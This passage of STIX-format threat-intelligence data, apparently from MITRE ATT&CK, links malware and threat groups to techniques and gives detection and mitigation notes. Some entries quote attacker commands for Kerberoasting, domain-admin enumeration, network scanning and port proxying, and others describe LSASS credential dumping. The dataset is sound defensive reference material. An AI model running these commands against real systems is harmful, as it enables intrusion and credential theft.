["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--826b91bd-58f4-406b-91cc-7cac59156969", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8272bde7-817f-4cb4-b073-67859002d310", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/", "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! 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Double header: IsaacWiper and CaddyWiper . Retrieved April 11, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CaddyWiper](https://attack.mitre.org/software/S0693) can enumerate all files and directories on a compromised host.(Citation: Malwarebytes IssacWiper CaddyWiper March 2022 )", "modified": "2022-04-11T21:09:34.835Z", "relationship_type": "uses", "source_ref": "malware--b30d999d-64e0-4e35-9856-884e4b83d611", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--827cbddc-3e19-4aff-a27a-5cce63812d44", "created": "2022-09-27T17:59:42.367Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T17:59:42.367Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [PowerSploit](https://attack.mitre.org/software/S0194)'s `Invoke-Kerberoast` module to request encrypted service tickets and bruteforce the passwords of Windows service accounts offline.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--827f9dc6-9dbd-4556-a817-efb9b115cac1", "created": "2022-01-11T14:58:01.884Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) encodes data using hexadecimal representation before sending it to the C2 server.(Citation: Prevailion DarkWatchman 2021)", "modified": "2022-04-17T19:29:56.765Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--82826722-4278-438e-a8d0-5bd9fd117b2b", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Charming Kitten Dec 2017", "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}], "modified": "2020-03-17T00:54:56.933Z", "description": "[DownPaper](https://attack.mitre.org/software/S0186) uses PowerShell to add a Registry Run key in order to establish persistence.(Citation: ClearSky Charming Kitten Dec 2017)", "relationship_type": "uses", "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--82832161-8d07-45d1-a082-c6958191f16c", "type": "relationship", "created": "2020-02-25T19:34:15.136Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-23T23:35:58.318Z", "description": "Enable firewall rules to block unnecessary traffic between network security zones within a network.", "relationship_type": "mitigates", "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--8283776c-b1c5-44fb-93f2-7d8506f48ef7", "created": "2022-03-30T14:26:51.872Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ", "modified": "2022-04-12T12:44:56.198Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--82837e38-96f0-41d2-a499-c21047c194f6", "type": "relationship", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.867Z", "description": "Examine data in user\u2019s SID-History attributes", "source_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", "target_ref": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--828afc32-9874-40aa-b752-315c7623ffee", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Kasidet", "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}, {"source_name": "Microsoft Kasidet", "description": "Manuel, J. and Plantado, R.. (2015, August 9). Win32/Kasidet. Retrieved March 24, 2016.", "url": "http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2FKasidet"}], "modified": "2020-03-16T17:02:26.255Z", "description": "[Kasidet](https://attack.mitre.org/software/S0088) creates a Registry Run key to establish persistence.(Citation: Zscaler Kasidet)(Citation: Microsoft Kasidet)", "relationship_type": "uses", "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--828d0030-009d-4612-ae30-9dfa3d139e26", "created": "2023-07-31T20:00:27.448Z", "revoked": false, "external_references": [{"source_name": "Microsoft Volt Typhoon May 2023", "description": "Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-31T20:00:27.448Z", "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used the built-in [netsh](https://attack.mitre.org/software/S0108) `port proxy` command to create proxies on compromised systems to facilitate access.(Citation: Microsoft Volt Typhoon May 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--82909cab-8740-41fd-8ee5-09359d2dd571", "type": "relationship", "created": "2021-08-18T14:06:45.442Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-08-18T14:06:45.442Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "target_ref": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--82927a23-3e5e-4892-b788-c35cc6e649a5", "created": "2022-08-16T19:51:28.927Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "NCSC GCHQ Small Sieve Jan 2022", "description": "NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.", "url": "https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-12T15:44:21.983Z", "description": "[Small Sieve](https://attack.mitre.org/software/S1035) can obtain the id of a logged in user.(Citation: NCSC GCHQ Small Sieve Jan 2022)", "relationship_type": "uses", "source_ref": "malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--829794bf-ad71-4f31-8e78-df712d751419", "created": "2023-03-20T16:49:21.584Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Lunghi Iron Tiger Linux", "description": "Daniel Lunghi. (2023, March 1). Iron Tiger\u2019s SysUpdate Reappears, Adds Linux Targeting. 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--829ec8ab-3e48-442b-beb2-b0d2dbdaaca0", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", "description": "Axel F, Pierre T. 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Retrieved August 12, 2021."}, {"source_name": "Accenture MUDCARP March 2019", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies", "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. 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(2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}, {"source_name": "Google TAG Lazarus Jan 2021", "url": "https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/", "description": "Weidemann, A. (2021, January 25). New campaign targeting security researchers. Retrieved December 20, 2021."}], "modified": "2022-02-04T23:27:01.754Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) delivered [RATANKBA](https://attack.mitre.org/software/S0241) and other malicious code to victims via a compromised legitimate website.(Citation: RATANKBA)(Citation: Google TAG Lazarus Jan 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--82a053be-71c5-49d5-b1f9-9cf979511e85", "type": "relationship", "created": "2020-06-26T16:17:18.159Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. 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Retrieved March 7, 2022."}], "modified": "2022-03-15T20:08:18.928Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) has exfiltrated files using web services.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--82a7e330-e4b1-4db8-8c73-03cabd9b8991", "type": "relationship", "created": "2021-05-19T15:50:22.487Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.353Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can spawn a job to inject into LSASS memory and dump password hashes.(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--82b679af-7408-4f41-8fc0-5b0cf5993726", "type": "relationship", "created": "2017-05-31T21:33:27.074Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks", "description": "DiMaggio, J. (2016, May 17). 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Retrieved June 9, 2022.", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-14T17:19:37.267Z", "description": "[OutSteel](https://attack.mitre.org/software/S1017) can automatically scan for and collect files with specific extensions.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "relationship_type": "uses", "source_ref": "malware--c113230f-f044-423b-af63-9b63c802f5ae", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--82bfe762-9468-458e-801a-13387a271521", "created": "2020-10-12T19:54:58.627Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "FireEye EPS Awakens Part 2", "url": "https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html", "description": "Winters, R. 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(2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has used cloud services, including OneDrive, for C2.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-08-08T21:26:35.675Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--82c3c7bc-b0dd-46f6-97fb-3aef732f6d21", "created": "2022-03-30T14:26:51.833Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Koczwara Beacon Hunting Sep 2021", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."}, {"source_name": "Mandiant SCANdalous Jul 2020", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. 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(2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.", "url": "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-21T20:37:31.202Z", "description": "Monitor AD CS certificate requests (ex: EID 4886) as well as issued certificates (ex: EID 4887) for abnormal activity, including unexpected certificate enrollments and signs of abuse within certificate attributes (such as abusable EKUs).(Citation: SpecterOps Certified Pre Owned)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", "target_ref": "attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--82c8372e-9b69-4720-a351-d6f0bda110d5", "type": "relationship", "created": "2021-01-22T16:05:32.902Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-22T16:05:32.902Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used the <code>get -b <start ip> -e <end ip> -p</code> command for network scanning as well as a custom Python tool  packed into a Windows executable named Get.exe to scan IP ranges for HTTP.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--82c9b9a1-5fbe-49e5-8685-12a03a66ef8d", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", "description": "Mercer, W., Rascagneres, P. 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Retrieved September 1, 2021.", "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T03:52:43.817Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used environment variables and standard input (stdin) to obfuscate command-line arguments. [FIN8](https://attack.mitre.org/groups/G0061) also obfuscates malicious macros delivered as payloads.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Bitdefender FIN8 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--82ce210f-a994-4541-b62f-40ead02ad202", "type": "relationship", "created": "2022-03-25T15:28:15.241Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NTT Security Flagpro new December 2021", "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "modified": "2022-03-25T15:28:15.241Z", "description": "[Flagpro](https://attack.mitre.org/software/S0696) can download additional malware from the C2 server.(Citation: NTT Security Flagpro new December 2021)", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--82cf0b15-1cd0-4539-b3fe-63ee4d379113", "type": "relationship", "created": "2019-06-21T14:17:49.609Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-15T00:27:20.219Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate some obfuscation activity at the network level.", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--82d8c106-c216-4d3f-9028-5f0b975e6330", "type": "relationship", "created": "2019-01-30T17:33:40.964Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", "url": "https://securelist.com/muddywater/88059/", "source_name": "Securelist MuddyWater Oct 2018"}, {"description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", "source_name": "ClearSky MuddyWater Nov 2018"}, {"source_name": "Reaqta MuddyWater November 2017", "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."}, {"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}], "modified": "2021-03-19T13:41:28.352Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can upload additional files to the victim\u2019s machine.(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--82dee5a5-7890-4bed-bc8c-83ffa13a8bcf", "created": "2020-11-10T17:28:19.540Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}, {"source_name": "DFIR Ryuk's Return October 2020", "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.", "url": "https://thedfirreport.com/2020/10/08/ryuks-return/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-03T17:26:09.351Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has identified domain admins through the use of `net group \"Domain admins\" /DOMAIN`. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also leveraged the PowerShell cmdlet `Get-ADComputer` to collect account names from Active Directory data.(Citation: DFIR Ryuk's Return October 2020)(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--82e1cb6f-7528-430f-8e8e-fc3213f25402", "created": "2022-09-27T17:53:46.947Z", 